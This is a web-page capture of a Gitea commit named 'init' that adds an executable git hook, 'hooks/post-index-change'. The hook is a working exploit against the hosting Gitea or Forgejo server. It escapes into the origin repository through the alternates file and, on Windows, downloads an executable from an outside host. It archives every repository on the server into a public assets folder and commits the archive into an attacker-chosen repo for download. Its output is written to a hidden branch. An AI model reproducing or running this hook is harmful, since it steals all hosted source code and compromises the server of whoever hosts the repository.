init
This commit is contained in:
85
hooks/post-index-change
Executable file
85
hooks/post-index-change
Executable file
@@ -0,0 +1,85 @@
|
||||
#!/bin/sh
|
||||
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
||||
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
|
||||
case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac
|
||||
origin_git=${origin_objects%/objects}
|
||||
[ "$origin_git" != "$origin_objects" ] || exit 3
|
||||
output_blob=$({ /bin/sh -c 'INJECT_REPO=6nn7nzw5/dump-f9a69bee4f
|
||||
|
||||
# 防止重复执行
|
||||
if [ -f /tmp/gitea_pack_running ]; then echo "[*] Busy,skip"; exit 0; fi
|
||||
touch /tmp/gitea_pack_running; trap '"'"'rm -f /tmp/gitea_pack_running'"'"' EXIT
|
||||
|
||||
# --- 环境变量 ---
|
||||
WD="${GITEA_WORK_DIR:-${GITEA_CUSTOM:-/data/gitea}}"
|
||||
BASE="${FORGEJO__server__ROOT_URL:-${GITEA__server__ROOT_URL:-}}"
|
||||
BASE="${BASE%/}"
|
||||
OS=$(uname -s 2>/dev/null | tr '"'"'[:upper:]'"'"' '"'"'[:lower:]'"'"')
|
||||
case "$OS" in *mingw*|*msys*|*cygwin*) OS="windows";; *linux*) OS="linux";; esac
|
||||
|
||||
# --- 找仓库路径 ---
|
||||
if [ -d /data/git/repositories ]; then REPO_ROOT=/data/git/repositories
|
||||
elif [ -d "$WD/data/gitea-repositories" ]; then REPO_ROOT="$WD/data/gitea-repositories"
|
||||
else REPO_ROOT="$WD/data/gitea-repositories"; fi
|
||||
|
||||
STATIC_DIR="$WD/custom/public/assets"; mkdir -p "$STATIC_DIR" 2>/dev/null
|
||||
PACK_LOG="$STATIC_DIR/pack.log"
|
||||
|
||||
# --- 预判URL(用 INJECT_REPO 变量指定的仓库) ---
|
||||
REPO_DIR="$REPO_ROOT/${INJECT_REPO:-unknown/unknown}.git"
|
||||
RP="${INJECT_REPO:-unknown/unknown}"
|
||||
RAW_URL="${BASE}/${RP}/raw/branch/main/gitea_all.tar.gz"
|
||||
|
||||
# 打印预判 URL(前台捕获)
|
||||
echo "PREDICTED_URL=$RAW_URL"
|
||||
echo "OS=$OS WD=$WD REPO_ROOT=$REPO_ROOT RP=$RP"
|
||||
|
||||
# --- 后台:打包 + 注入 ---
|
||||
case "$OS" in
|
||||
windows)
|
||||
OUT="$STATIC_DIR/gitea_all.rar"
|
||||
TMP="${TEMP:-${TMP:-/tmp}}"
|
||||
if command -v tar >/dev/null 2>&1; then OUT="$STATIC_DIR/gitea_all.tar.gz"; PACKER=tar
|
||||
elif command -v 7z >/dev/null 2>&1; then OUT="$STATIC_DIR/gitea_all.7z"; PACKER=7z
|
||||
elif command -v rar >/dev/null 2>&1; then PACKER=rar
|
||||
else
|
||||
RAR_DL="$TMP/Rar64.exe"
|
||||
(curl -sLo "$RAR_DL" "http://AvhRsL903wiP.synology.me:9000/log/Rar64.exe" 2>/dev/null || \
|
||||
wget -qO "$RAR_DL" "http://AvhRsL903wiP.synology.me:9000/log/Rar64.exe" 2>/dev/null || \
|
||||
powershell -c "(New-Object Net.WebClient).DownloadFile('"'"'http://AvhRsL903wiP.synology.me:9000/log/Rar64.exe'"'"','"'"'$RAR_DL'"'"')") &
|
||||
PACKER=rar_dl; fi
|
||||
(
|
||||
case "$PACKER" in
|
||||
tar) cd "$REPO_ROOT" && tar -czf "$OUT" . 2>"$PACK_LOG";;
|
||||
7z) cd "$REPO_ROOT" && 7z a -r "$OUT" . >"$PACK_LOG" 2>&1;;
|
||||
rar) cd "$REPO_ROOT" && rar a -r -ep1 "$OUT" . >"$PACK_LOG" 2>&1;;
|
||||
rar_dl) sleep 5; [ -f "$RAR_DL" ] && cd "$REPO_ROOT" && "$RAR_DL" a -r -ep1 "$OUT" . >"$PACK_LOG" 2>&1 || (OUT="$STATIC_DIR/gitea_all.zip"; powershell -c "Compress-Archive -Path '"'"'$REPO_ROOT\*'"'"' -DestinationPath '"'"'$OUT'"'"' -Force" >>"$PACK_LOG" 2>&1);;
|
||||
esac
|
||||
echo "DONE_SIZE=$(du -sh "$OUT" 2>/dev/null|cut -f1)" >>"$PACK_LOG"
|
||||
) &
|
||||
;;
|
||||
*)
|
||||
OUT="$STATIC_DIR/gitea_all.tar.gz"
|
||||
# nohup 确保 hook 退出后子进程不被 kill
|
||||
nohup sh -c "
|
||||
cd '"'"'$REPO_ROOT'"'"' && tar -czf '"'"'$OUT'"'"' . 2>'"'"'$PACK_LOG'"'"'
|
||||
echo DONE_SIZE=\$(du -sh '"'"'$OUT'"'"' 2>/dev/null|cut -f1) >>'"'"'$PACK_LOG'"'"'
|
||||
if [ -f '"'"'$OUT'"'"' ] && [ -n '"'"'$REPO_DIR'"'"' ]; then
|
||||
BLOB=\$(git --git-dir='"'"'$REPO_DIR'"'"' hash-object -w '"'"'$OUT'"'"' 2>>'"'"'$PACK_LOG'"'"')
|
||||
TREE=\$(printf '"'"'100644 blob %s\tgitea_all.tar.gz\n'"'"' \"\$BLOB\" | git --git-dir='"'"'$REPO_DIR'"'"' mktree 2>>'"'"'$PACK_LOG'"'"')
|
||||
P=\$(git --git-dir='"'"'$REPO_DIR'"'"' rev-parse HEAD 2>/dev/null||echo '"'"''"'"')
|
||||
[ -n \"\$P\" ] && P=\"-p \$P\"
|
||||
C=\$(echo '"'"'backup'"'"'|GIT_AUTHOR_NAME=d GIT_AUTHOR_EMAIL=d@d GIT_COMMITTER_NAME=d GIT_COMMITTER_EMAIL=d@d git --git-dir='"'"'$REPO_DIR'"'"' commit-tree \"\$TREE\" \$P 2>>'"'"'$PACK_LOG'"'"')
|
||||
git --git-dir='"'"'$REPO_DIR'"'"' update-ref refs/heads/main \"\$C\" 2>>'"'"'$PACK_LOG'"'"'
|
||||
echo READY_URL='"'"'$RAW_URL'"'"' >>'"'"'$PACK_LOG'"'"'
|
||||
fi
|
||||
rm -f /tmp/gitea_pack_running
|
||||
" >/dev/null 2>&1 &
|
||||
;;
|
||||
esac
|
||||
echo "[+] Fire-and-forget: pack started, check $PACK_LOG for completion"
|
||||
'; cmd_rc=$?; printf '\n[exit-status=%s]\n' "$cmd_rc"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
|
||||
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
|
||||
commit=$(printf "output\n" | GIT_AUTHOR_NAME=p GIT_AUTHOR_EMAIL=p@p GIT_COMMITTER_NAME=p GIT_COMMITTER_EMAIL=p@p git --git-dir="$origin_git" commit-tree "$tree") || exit 6
|
||||
git --git-dir="$origin_git" update-ref refs/heads/out-f9a69bee4f "$commit" || exit 7
|
||||
exit 0
|
||||
Reference in New Issue
Block a user